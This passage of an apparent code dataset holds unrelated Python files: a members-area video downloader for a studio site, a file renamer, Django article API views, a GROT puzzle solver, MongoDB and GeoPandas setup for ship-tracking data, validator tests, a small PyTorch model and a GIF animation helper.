files.\")\nprint()\n","sub_path":"get_cover_art/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"370214003","text":"\nfrom __future__ import absolute_import\n\nimport logging\nfrom optparse import OptionGroup\nimport os\nimport re\n\nfrom lxml import html\nimport requests\nimport simplejson as json\n\nfrom fetcher.studio import BaseStudio\nfrom fetcher.video import BaseVideo\nfrom fetcher.videolist import VideoList, VideoListFilterFile\n\nlogger = logging.getLogger(__name__)\n\n\nclass HelixVideo(BaseVideo):\n def __init__(self, video_id, description_url, session, title):\n self._title_xpath = '//*[@id=\"leftcolumn\"]/div[1]/div/table[1]/tr/td[1]/div/text()'\n\n super(HelixVideo, self).__init__(video_id, description_url, session, title)\n\n def _update_all(self):\n \"\"\"\n Updates all of the metadata about this video by scraping it from the\n metadata page at :py:attr:`Video.description_url()`.\n\n Downloads the page content using\n :py:func:`Video._get_description_page_content()` and processes the\n resulting string and html tree using\n :py:meth:`Video._update_title_from_xpath()`,\n :py:meth:`Video._update_download_url_from_xpath()`, and\n :py:meth:`Video._update_download_filename_from_xpath()`.\n\n This function should be overridden if you have to do anything that\n can't be handled by simply scraping an xpath element.\n \"\"\"\n page_content = self._get_description_page_content()\n tree = html.fromstring(page_content)\n\n self._update_title_from_xpath(page_content, tree)\n self._update_studio_download_info(page_content, tree)\n\n def _playlist_video_url(self, tree):\n params = json.loads(tree.xpath('//*[@id=\"leftcolumn\"]/script[3]/text()')[0].splitlines()[5]\n .replace('playlist: [', '').strip().strip('],'))\n\n return params['sources'][1]['file']\n\n def _normalize_filename(self, studio):\n # Replace line breaks with spaces\n self._title = re.sub('^(Bonus Scene:)?[ \\t\\r\\n]+', '', self._title)\n filename = super(HelixVideo, self)._normalize_filename(studio)\n return filename\n\n def _update_studio_download_info(self, page, tree):\n url = None\n\n # for alt_studio in HelixVideo.alternate_studios:\n # if page.content.find(alt_studio) != -1:\n # url = self._playlist_video_url(self._tree)\n # studio = alt_studio\n\n if not url:\n url = tree.xpath('//*[@id=\"main\"]/div[5]/div[6]/div/table/tr/td/a[2]')[0].get('href')\n studio = \"Helix Studios\"\n\n self._download_url = url\n self._filename = self._normalize_filename(studio)\n\n\nclass HelixStudio(BaseStudio):\n list_query = \"https://www.helixstudios.net/members/scenes.php?{0}\"\n login_page = 'https://www.helixstudios.net/login.php'\n video_page = \"https://www.helixstudios.net/members/scenes_details.php?scene_id={0}\"\n alternate_studios = ['Staxus', 'BoyCrush']\n\n def add_option_group(self, parser):\n group = OptionGroup(parser, \"Helix Studios Options\")\n group.add_option(\"--helix-username\", dest=\"helixstudios_username\",\n help=\"Username for helixstudios.net\")\n group.add_option(\"--helix-password\", dest=\"helixstudios_password\",\n help=\"Password for helixstudios.net\")\n group.add_option(\"--helix-target\", dest=\"helixstudios_target\",\n help=\"Target directory for downloads from helixstudios.net\")\n group.add_option(\"--helix-studiolist\", dest=\"helixstudios_studiolist\",\n help=\"Download videos from these studio (comma-separated list of numbers)\")\n group.add_option(\"--helix-theme\", dest=\"helixstudios_theme\",\n help=\"Restrict video search to this theme (example: 1/bareback)\")\n parser.add_option_group(group)\n\n def set_options(self, limit, reverse, options):\n logger.debug(\"Setting options for %s\" % __name__)\n self._username = options['username']\n self._password = options['password']\n self._target = options['target']\n self._token = options.get('token')\n self._pb_page = options.get('pb_page')\n\n self._validate()\n\n self.theme = options.get('theme')\n self.studios = re.split(\",\\s*\", options['studiolist'])\n\n self.limit = limit\n self.reverse = reverse\n\n def _update_video_list(self):\n fetched_file = os.path.join(self._target, '.fetched')\n self._videos = VideoList(VideoListFilterFile(fetched_file))\n\n self.session.get(HelixStudio.login_page)\n self.session.post(HelixStudio.login_page, data={'username': self._username, 'password': self._password})\n\n for studio in self.studios:\n if self.theme:\n q = \"tag=%s&studio=%s\" % (str(self.theme), str(studio))\n else:\n q = \"studio=%s\" % str(studio)\n\n url = HelixStudio.list_query.format(q)\n logger.debug('Fetching clip list from %s', url)\n\n page = self.session.get(url)\n page.raise_for_status()\n tree = html.fromstring(page.content)\n\n count = 0\n links = tree.xpath('//*[@id=\"main\"]/div/div[1]/ul/li/h4/a')\n for link in links:\n slug = link.get('href').split('=')[1]\n title = link.text.strip()\n description_url = HelixStudio.video_page.format(slug)\n\n logger.debug('Creating video \"{}\" ({}) with URL {}'.format(title, slug, description_url))\n video = HelixVideo(slug, description_url, self.session, title)\n\n if self._videos.is_item_fetched(video):\n continue\n\n self._videos[slug] = video\n count += 1\n if count > self.limit:\n logger.debug('Hit video fetch limit for %s', self.name)\n break\n\n\ndef init():\n return HelixStudio()\n","sub_path":"fetcher/helixstudios.py","file_name":"helixstudios.py","file_ext":"py","file_size_in_byte":5915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"525137700","text":"\n# %%\nimport os\nimport re\n\n# %%\nmdir = os.getcwd()\n\n# %%\nfor root, dirs, files in os.walk(mdir):\n for f in files:\n if ('.doc' in f) or ('.pdf' in f):\n rpath = os.path.join(root, f)\n Id = re.search(r\"[0-9]+\", f).group(0)\n auther = re.search(r\"[^0-9._]{2,5}\", f).group(0)\n dclass = re.search(r\"[^0-9._]{4,}\", f).group(0)\n dtype = re.search(r\".[a-z]+\", f).group(0)\n new_name = Id + '_' + auther + '_毕业设计(论文)' + dclass + dtype\n if rpath != __file__:\n os.rename(rpath, os.path.join(root, new_name))\n\n# %%\ninput(\"Finished,Enter to quit\")","sub_path":"collage_course/Dissertation/Other/毕业论文档案/Rename.py","file_name":"Rename.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"403295665","text":"from rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom articleManagement.models import PmUser, ArticleFeedBack, Article, Tags, Categories, ArticleRequests\nfrom articleManagement.utils import ArticleManagement\nimport json\n\n\nclass VoteForTheArticle(APIView):\n def post(self, request):\n try:\n like_count = 0\n users_objects_list = list()\n article_id = request.data.get(\"articleId\")\n user_object = PmUser.objects.get(email=request.user.email)\n try:\n article_feedback_object_list = ArticleFeedBack.objects.filter(article__id=article_id)\n for each_user_obj in article_feedback_object_list:\n users_objects_list.append(each_user_obj.user)\n if user_object not in users_objects_list:\n article_object = Article.objects.get(id=article_id)\n article_feedback_obj = ArticleFeedBack(article=article_object, user=user_object, likeCount=like_count+1)\n article_feedback_obj.save()\n return Response({\"result\": \"success\", \"message\": \"thanks for your feedback\"}, 200)\n else:\n return Response({\"result\": \"error\", \"message\": \"you have already voted for this article\"}, 500)\n except ArticleFeedBack.DoesNotExist:\n article_object = Article.objects.get(id=article_id)\n article_feedback_obj = ArticleFeedBack(article=article_object, user=user_object, likeCount=like_count+1)\n article_feedback_obj.save()\n return Response({\"result\": \"success\", \"message\": \"thanks for your feedback\"}, 200)\n except Exception as e:\n return Response({\"result\": \"error\", \"message\": \"\"}, 500)\n\n\nclass SendArticleForReview(APIView):\n def post(self, request):\n try:\n article_mgmt_init = ArticleManagement()\n insert_format = article_mgmt_init.get_insert_format()\n insert_format = ApiUtils().get_article_data(request, insert_format)\n article_insert_result = article_mgmt_init.insert_article(insert_format, insert_format.get(\"additionalInfo\"))\n if article_insert_result.get(\"error\"):\n return Response({\"result\": \"error\", \"msg\": article_insert_result.get(\"error\")}, 500)\n article_saved_data = article_insert_result.get(\"success\")\n article_request = ArticleRequests(user=PmUser.objects.get(email=request.user.email), article=Article.objects.get(id=article_saved_data.pk), requestStatus=\"REQUESTED\")\n article_request.save()\n return Response({\"result\": \"success\"}, 200)\n except Exception as e:\n return Response({\"result\": \"error\", \"message\": \"something went wrong. please try again later\"}, 500)\n\n\nclass GetArticleRelModules(APIView):\n def get(self, request):\n try:\n tags_list = Tags.objects.all().values_list('tagName', flat=True)\n categories_list = Categories.objects.order_by().values_list('name', flat=True).distinct()\n return Response({\"result\": \"success\", \"tags\": tags_list, \"categories\": categories_list}, 200)\n except Exception as e:\n return Response({\"result\": \"error\"}, 500)\n\n\nclass ApiUtils():\n\n @staticmethod\n def get_article_data(request, insert_format):\n insert_format[\"content\"] = request.data.get(\"articleBody\")\n insert_format[\"codePart\"] = request.data.get(\"articleCodePart\")\n insert_format[\"author_id\"] = PmUser.get_user_object(request.user.email)\n insert_format[\"subTitle\"] = request.data.get(\"articleSubTitle\")\n insert_format[\"title\"] = request.data.get(\"articleTitle\")\n insert_format[\"isActive\"] = False\n insert_format[\"additionalInfo\"] = dict()\n if request.data.get(\"tagsList\"):\n tags_list = json.loads(request.data.get(\"tagsList\"))\n insert_format[\"additionalInfo\"][\"tags\"] = tags_list\n if request.data.get(\"categoriesList\"):\n categories_list = json.loads(request.data.get(\"categoriesList\"))\n insert_format[\"additionalInfo\"][\"categories\"] = categories_list\n return insert_format\n","sub_path":"newpmpro/articleManagement/api_views.py","file_name":"api_views.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"24322159","text":"from typing import List, Tuple, Optional\r\nimport numpy as np\r\n\r\n\r\nclass GrotGameSolver:\r\n \"\"\"Class with algorithms to solve GROT game\r\n \"\"\"\r\n __slots__ = [\"board\"]\r\n\r\n def __init__(self, board: List[List] = None):\r\n self.board = np.array(board)\r\n\r\n def show_board(self) -> np.array:\r\n \"\"\"Just return board \r\n \"\"\"\r\n return self.board\r\n\r\n def find_longest_chain(self, board: Optional[List[List]] = None) -> List[int]:\r\n \"\"\"This method look for longest chain in board game.\r\n get board as argument or given as argument \r\n\r\n Args:\r\n board (Optional[List[List]], optional): Board to game. \r\n Defaults to board from self.board.\r\n\r\n Returns:\r\n [x, y, length] type=int: x and y is location of starting point the longest chain\r\n \"\"\"\r\n # prepare list, best alternate I know is to compare every new chain and if new\r\n # chain is longer then previous the longest, then replace\r\n score_list = []\r\n if board is None:\r\n # get dimensions of board\r\n dims = len(self.board), len(self.board[0])\r\n for x in range(dims[0]):\r\n for y in range(dims[1]):\r\n # append *Point(x,y), length of chain\r\n score_list.append([x, y,\r\n self.local_chain((x, y))])\r\n else:\r\n # the same as above but board from argument\r\n dims = len(board), len(board[0])\r\n for x in range(dims[1]):\r\n for y in range(dims[0]):\r\n score_list.append([x, y,\r\n self.local_chain((x, y), board)])\r\n\r\n # sort by length and return the first (longest one)\r\n score_list.sort(key=lambda x: x[2], reverse=True)\r\n return score_list[0]\r\n\r\n def local_chain(self, start: Tuple[int],\r\n board: Optional[List[List]] = None) -> int:\r\n\r\n if board is None:\r\n board_copy = np.copy(self.board).T\r\n else:\r\n board_copy = np.copy(board).T\r\n x, y = start\r\n board_dim = len(board_copy), len(board_copy[y])\r\n length = 0\r\n char, board_copy[x, y] = board_copy[x, y], 'x'\r\n while char != 'x':\r\n shift = self.shift_to(x, y, char)\r\n length += 1\r\n x = shift[0]\r\n y = shift[1]\r\n if not self.if_on_board((x, y), board_dim):\r\n break\r\n char, board_copy[x, y] = board_copy[x, y], 'x'\r\n\r\n return length\r\n\r\n def next_field(self, x: int, y: int,\r\n shift_x: int = 0, shift_y: int = 0) -> Tuple[int]:\r\n \"\"\"just increase the proper value (x/y) and return next location of chain\r\n\r\n Args:\r\n x (int): current x coordinate\r\n y (int): current y coordinate\r\n shift_x (int, optional): increse x by this value, default by 0 (neutral).\r\n shift_y (int, optional): increse y by this value, default by 0 (neutral).\r\n\r\n Returns:\r\n Tuple[int]: new chain coordinates (x,y) \r\n \"\"\"\r\n return x+shift_x, y+shift_y\r\n\r\n def shift_to(self, x: int, y: int, char: str) -> Tuple[int]:\r\n \"\"\"Convert char/letter to coordinates shift \r\n\r\n Args:\r\n x (int): current x coordinate\r\n y (int): current y coordinate\r\n char (str): letter as code (u)p, (d)own, (l)eft, (r)ight\r\n\r\n Raises:\r\n TypeError: when value is not supported but algorithm (not in {u,d,l,r})\r\n\r\n Returns:\r\n Tuple[int]: nex coordinte to check\r\n \"\"\"\r\n if char == 'r':\r\n return self.next_field(x, y, shift_x=1)\r\n\r\n elif char == 'l':\r\n return self.next_field(x, y, shift_x=-1)\r\n\r\n elif char == 'u':\r\n return self.next_field(x, y, shift_y=-1)\r\n\r\n elif char == 'd':\r\n return self.next_field(x, y, shift_y=1)\r\n\r\n elif char == 'x':\r\n return False\r\n print(char)\r\n raise TypeError(\"unsupported value found\")\r\n\r\n def if_on_board(self, point: Tuple[int], board_dim: Tuple[int]) -> bool:\r\n \"\"\"Return if point is on board or outside\r\n\r\n Args:\r\n point (Tuple[int]): current localization (x,y)\r\n board_dim (Tuple[int]): dimension of board\r\n\r\n Returns:\r\n bool: True -> is on board, False -> is outside\r\n \"\"\"\r\n # check bottom and right side of board\r\n condition = point[0] < board_dim[0] and point[1] < board_dim[1]\r\n # above * check top and left\r\n return condition and point[0] >= 0 and point[1] >= 0\r\n\r\n\r\ndef main():\r\n sample = [\r\n ['u', 'd', 'u', 'u'], # ↑ ↓ ↑ ↑\r\n ['u', 'r', 'l', 'l'], # ↑ → ← ←\r\n ['u', 'u', 'l', 'u'], # ↑ ↑ ← ↑\r\n ['l', 'd', 'u', 'l'], # ← ↓ ↑ ←\r\n ]\r\n grot = GrotGameSolver(sample)\r\n print(grot.find_longest_chain())\r\n sample_2 = [\r\n ['u', 'd', 'u', 'u', 'l', 'd'], # ↑ ↓ ↑ ↑\r\n ['u', 'r', 'l', 'l', 'u', 'r'], # ↑ → ← ←\r\n ['u', 'u', 'l', 'u', 'l', 'u'], # ↑ ↑ ← ↑\r\n ['l', 'd', 'u', 'l', 'd', 'u'], # ← ↓ ↑ ←\r\n ]\r\n print(grot.find_longest_chain(sample_2))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"GROT/grot.py","file_name":"grot.py","file_ext":"py","file_size_in_byte":5360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"76814346","text":"import os\nimport time\nimport pickle\nimport random\nimport argparse\nimport urllib.request\nimport feedparser\n\nfrom utils import Config, safe_pickle_dump\n\ntry:\n db = pickle.load(open(Config.db_path, 'rb'))\nexcept Exception as e:\n print('error loading existing database:')\n print(e)\n print('starting from an empty database')\n db = {}\n\ncount1=0\ncount2=0\ncount3=0\ncount4=0\n\ntot_count=0\n\ncount_dic={}\nfor i in db:\n if i[:2] not in count_dic:\n count_dic[(i[:2])]=1\n else:\n count_dic[i[:2]]+=1\nprint (i)\nprint (count_dic)","sub_path":"read_db.py","file_name":"read_db.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"450195961","text":"import mongo.mongoConnector as connector\nfrom geospatial import geoDataPreprocessing\nfrom preprocessing import dataPreprocessing_2\nimport json\nimport geopandas as gpd\nfrom shapely.geometry import shape\n\n\ndef insertAISData(insertDoc, isMany=True, isTemp=False) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n if isTemp:\n collection = db.ais_navigation_temp\n else:\n collection = db.ais_navigation\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n # printData(collection)\n\n\ndef insertPortData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.world_port_geo\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertFishingPortData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.fishing_port\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertTestPolyData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.query_polygons\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertFullDetailedPortsData(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.world_port_information\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertWorldSeas(data, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.world_seas\n\n # print(len(data[\"features\"][\"\"]))\n insertDoc = []\n targetSeas = [\"Celtic Sea\",\n \"Bay of Biscay\",\n \"English Channel\",\n \"Bristol Channel\",\n \"St. George's Channel\"\n ]\n\n for sea in data[\"features\"] :\n properties = sea[\"properties\"]\n if properties[\"NAME\"] in targetSeas:\n print(properties[\"NAME\"])\n insertDoc.append(sea)\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertMapGrid(insertDoc, isMany=True):\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.target_map_grid\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef insertCountries(insertDoc, isMany=True) :\n connection, db = connector.connectMongoDB()\n\n # creating or switching to ais_navigation collection\n collection = db.countries\n\n # insert data based on whether it is many or not\n if isMany :\n collection.insert_many(insertDoc)\n else :\n collection.insert_one(insertDoc)\n\n\ndef linkGridToDocuments():\n \"\"\"{ \"_id\" : { }, \"min\" : 1443650401, \"max\" : 1459461599 }\n \"\"\"\n connection, db = connector.connectMongoDB()\n\n # get grids\n collection = db.target_map_grid\n map_grids = list(collection.find())\n\n # fix geometry for geopandas\n for grid in map_grids:\n grid[\"geometry\"] = shape(grid[\"geometry\"])\n\n # get gopandas dataframe\n map_grids_df = gpd.GeoDataFrame(map_grids)\n\n # creating or switching to ais_navigation collection\n collection = db.ais_navigation_temp\n\n print(\"connected\")\n\n # db.ais_navigation2.find({\"ts\": {\"$gte\": 1443650401, \"$lt\": 1444309200}})\n\n min_ts = 1443650401 #1444309200\n max_ts = 1459461599\n step = int((max_ts-min_ts)/50) # 1 week approximately\n count = 0\n\n # TODO UNCOMMENT FOR TEST\n # results = list(collection.find())\n # count += len(results)\n # __findGridCalculations__(map_grids_df, results)\n\n # TODO COMMENT FOR TEST\n for ts in range(min_ts+step, max_ts + step, step):\n results = list(collection.find({\"ts\": {\"$gte\": ts - step, \"$lt\": ts}}))\n count += len(results)\n __findGridCalculations__(map_grids_df, results)\n\n print(count)\n\n\ndef __findGridCalculations__(map_grids_df, ais_batch):\n results_dict = {}\n pings = []\n for ping in ais_batch :\n results_dict[ping[\"_id\"]] = ping\n pings.append({\"_id\" : ping[\"_id\"], \"geometry\" : shape(ping[\"location\"])})\n\n pings_df = gpd.GeoDataFrame(pings)\n pings_df = pings_df.rename(columns={'location' : 'geometry'})\n pings_per_grid = gpd.sjoin(pings_df, map_grids_df, how=\"inner\", op='intersects')\n pings_per_grid = pings_per_grid.drop(['geometry', 'index_right', 'seaID'], axis=1)\n pings_per_grid = pings_per_grid.set_index(\"_id_left\")\n\n for index, row in pings_per_grid.iterrows() :\n results_dict[index][\"grid_id\"] = row['_id_right']\n\n list_of_pings = [value for value in results_dict.values()]\n print(list_of_pings[0])\n print(pings_per_grid.head(5))\n print(pings_per_grid.columns)\n\n # upload data to mongo\n insertAISData(list_of_pings)\n\n\ndef mongoSetUp():\n # insert ais_navigation data to mongo\n dataPreprocessing_2.preprocessAisDynamic()\n\n # generate json files from original datasets shp's\n # geoDataPreprocessing.shpToJson()\n\n # insert ports geo point data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/port.json\") as f :\n data = json.load(f)\n insertPortData(data[\"features\"])\n\n # insert ports full details data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/WPI.json\") as f :\n data = json.load(f)\n insertFullDetailedPortsData(data[\"features\"])\n\n # insert world seas data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/World_Seas_IHO_v2.json\") as f :\n data = json.load(f)\n insertWorldSeas(data)\n\n # insert ports data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/Fishing Ports.json\") as f :\n data = json.load(f)\n insertFishingPortData(data)\n\n\n \"\"\"\n Create countries collection\n \"\"\"\n # get country data\n countries = dataPreprocessing_2.fetchMMSICountryData(isForAIS=False)\n # converting into list\n\n countries = [countries[key] for key in countries.keys()]\n print(countries)\n\n # upload to mongo\n insertCountries(countries)\n\n # insert ports data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../json_data/test_poly.json\") as f :\n data = json.load(f)\n insertTestPolyData(data)\n\n \"\"\"\n Create grid for target seas and link it to ais documents\n \"\"\"\n\n # generate map grid\n # 1) calculate grids for target seas\n # 2) upload it\n grid_list = geoDataPreprocessing.createGridForTargetSeas()\n insertMapGrid(grid_list)\n\n # link grid to documents\n linkGridToDocuments()\n\n\ndef mongoSetUpServer():\n # insert ports geo point data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/port.json\") as f :\n data = json.load(f)\n insertPortData(data[\"features\"])\n\n # insert ports full details data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/WPI.json\") as f :\n data = json.load(f)\n insertFullDetailedPortsData(data[\"features\"])\n\n # insert world seas data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/World_Seas_IHO_v2.json\") as f :\n data = json.load(f)\n insertWorldSeas(data)\n\n # insert fishing ports data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../geospatial/datasetJSON/Fishing Ports.json\") as f :\n data = json.load(f)\n insertFishingPortData(data)\n\n \"\"\"\n Create countries collection\n \"\"\"\n createCountriesCollection()\n\n # insert test polygons data in mongo\n # 1) load json file from datasetJSON\n # 2) upload it\n with open(\"../json_data/test_poly.json\") as f :\n data = json.load(f)\n insertTestPolyData(data)\n\n\ndef createCountriesCollection():\n # get country data\n countries = dataPreprocessing_2.fetchMMSICountryData(isForAIS=False)\n # converting into list\n\n countries = [countries[key] for key in countries.keys()]\n print(countries)\n\n # upload to mongo\n insertCountries(countries)\n\n\nif __name__ == '__main__':\n if connector.isLocal:\n mongoSetUp()\n else:\n mongoSetUpServer()\n\n","sub_path":"marineTraficNoSQL/mongo/mongoSetUp.py","file_name":"mongoSetUp.py","file_ext":"py","file_size_in_byte":9345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"23401467","text":"from ngen import validators\nfrom twisted.trial.unittest import TestCase\n\nfrom datetime import datetime, date\n\n\nNOW = datetime.utcnow()\nTODAY = date.today()\n\n\nclass Field(object):\n pass\n\n\nclass ValidatorTests(TestCase):\n\n def setUp(self):\n self.field = Field()\n self.field.name = 'foo'\n self.field.min_length = 3\n self.field.max_length = 5\n\n def _tester(self, func, success, failure):\n for value in success:\n ret = func(self.field, value)\n self.assertEqual(ret, value)\n\n for value in failure:\n self.assertRaises(\n validators.ValidationError, func, self.field, value\n )\n\n def test_is_int(self):\n self._tester(\n validators.is_int,\n (-1, 0, 1),\n (1., 'bar', [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_float(self):\n self._tester(\n validators.is_float,\n (0., 1.),\n (1, 'bar', [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_number(self):\n self._tester(\n validators.is_number,\n (-1., 0, 1),\n ('bar', [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_char(self):\n self._tester(\n validators.is_char,\n ('bar', ),\n (1., 1, [], None, {}, set(), True, (), NOW, TODAY)\n )\n\n def test_is_bool(self):\n self._tester(\n validators.is_bool,\n (True, False),\n (1., 'bar', 1, [], None, {}, set(), (), NOW, TODAY)\n )\n\n def test_is_set(self):\n self._tester(\n validators.is_set,\n (set(), ),\n (1., 'bar', [], None, {}, True, (), NOW, TODAY)\n )\n\n def test_is_dict(self):\n self._tester(\n validators.is_dict,\n ({}, ),\n (1., 'bar', [], None, set(), True, (), NOW, TODAY)\n )\n\n def test_is_list(self):\n self._tester(\n validators.is_list,\n ([], ()),\n (1., 'bar', set(), None, {}, True, NOW, TODAY)\n )\n\n def test_is_datetime(self):\n self._tester(\n validators.is_datetime,\n (NOW, ),\n (1., 'bar', set(), None, {}, True, [], (), TODAY)\n )\n\n def test_is_date(self):\n self._tester(\n validators.is_date,\n (TODAY, ),\n (1., 'bar', set(), None, {}, True, NOW, [], ())\n )\n\n def test_check_length(self):\n\n self.assertRaises(\n validators.ValidationError,\n validators.check_length, self.field, 'a'\n )\n\n self.assertRaises(\n validators.ValidationError,\n validators.check_length, self.field, 'ab'\n )\n\n expected = 'foo'\n ret = validators.check_length(self.field, expected)\n self.assertEqual(ret, expected)\n\n expected += 'b'\n ret = validators.check_length(self.field, expected)\n self.assertEqual(ret, expected)\n\n expected += 'a'\n ret = validators.check_length(self.field, expected)\n self.assertEqual(ret, expected)\n\n self.assertRaises(\n validators.ValidationError,\n validators.check_length, self.field, 'foobar'\n )\n","sub_path":"ngen/test/test_validators.py","file_name":"test_validators.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"59600619","text":"import torch \nimport torch.nn as nn\n\ndef conv3x3(inp_channels, out_channels, stride=2, padding=1):\n \"\"\" basic conv layer whose kernel size = 3\n \"\"\"\n return nn.Conv2d(inp_channels, out_channels, 3, stride, padding)\n\ndef conv1x1(inp_channels, out_channels, stride=2):\n \"\"\" basic conv layer whose kernel size = 1\n \"\"\"\n return nn.Conv2d(inp_channels, out_channels, 1, stride)\n\nclass Block(nn.Module):\n \"\"\" building blocks of the small model\n \"\"\"\n def __init__(self, \n inp_channels, \n out_channels, \n stride=1, \n preactivation=False):\n super(Block, self).__init__()\n self.relu = nn.ReLU(inplace=True)\n self.preactivation = preactivation\n self.conv1 = conv3x3(inp_channels, inp_channels, stride=stride)\n self.bn1 = nn.BatchNorm2d(inp_channels)\n self.conv2 = conv3x3(inp_channels, out_channels, stride=1)\n self.bn2 = nn.BatchNorm2d(out_channels)\n self.channel_map = conv1x1(inp_channels, out_channels, stride=stride)\n\n def forward(self, x):\n identity = self.channel_map(x)\n if self.preactivation:\n x = self.conv1(self.relu(x))\n x = self.bn1(x)\n x = self.conv1(self.relu(x))\n x = self.bn2(x)\n x += identity\n else:\n x = self.bn1(self.conv1(x))\n x = self.relu(x)\n x = self.bn2(self.conv2(x))\n x += identity\n x = self.relu(x)\n return x \n\nclass SmallModel(nn.Module):\n \"\"\" define a small model\n \"\"\"\n def __init__(self, \n n_blocks=4, \n num_classes=7, \n preactivation=False): \n super(SmallModel, self).__init__()\n layers = nn.ModuleList()\n pre_layers = [\n nn.Conv2d(3, 64, 7, 2, 3), \n nn.BatchNorm2d(64), \n nn.ReLU(inplace=True), \n nn.MaxPool2d(3, 2, padding=1)\n ]\n layers.extend(pre_layers)\n inp_channels = 64\n downsample = False \n for _ in range(n_blocks):\n stride = 2 if downsample else 1 \n out_channels = min(inp_channels * 2, 256)\n layers.append(Block(inp_channels, out_channels, stride, preactivation=preactivation))\n downsample = not downsample\n inp_channels = out_channels\n layers.append(nn.AdaptiveAvgPool2d(output_size=(1, 1)))\n self.layers = nn.Sequential(*layers)\n self.fc = nn.Linear(out_channels, num_classes)\n\n def forward(self, x):\n x = self.layers(x)\n x = x.view(x.size(0), -1)\n x = self.fc(x)\n return x","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"236083204","text":"import numpy as np\nimport pygame\n\n#------------------------------AnimatedGif Class------------------------------\n#Custom object containing data for displaying an animated GIF\n#Created as python is not very friendly when it comes to interacting with animated GIFs\nclass AnimatedGif:\n #Constructor - Should be relatively self-explanatory. new_paths is an array of file paths as strings\n def __init__(self, new_x, new_y, new_w, new_h, new_paths):\n self.frameCounter = 0 #Index of frame array that contains the next image to be displayed\n self.gif_x = new_x\n self.gif_y = new_y\n self.gif_w = new_w\n self.gif_h = new_h\n self.noOfFrames = len(new_paths)\n self.framePaths = np.array(new_paths) #Array of string, to store the file paths\n self.frames = np.array([None] * self.noOfFrames) #Array of pygame Surface objects, to store the actual graphical frames\n for n in range(self.noOfFrames):\n self.frames[n] = pygame.transform.scale(pygame.image.load(new_paths[n]), [self.gif_w, self.gif_h])\n\n #Return next frame of the GIF to be displayed\n #Set to loop the GIF indefinitely\n def getCurFrame(self):\n self.frameCounter = self.frameCounter + 1\n if self.frameCounter >= self.noOfFrames:\n self.frameCounter = 0 #Play GIF from beginning as frame cycle completed\n return self.frames[self.frameCounter]","sub_path":"anigif/anigif.py","file_name":"anigif.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
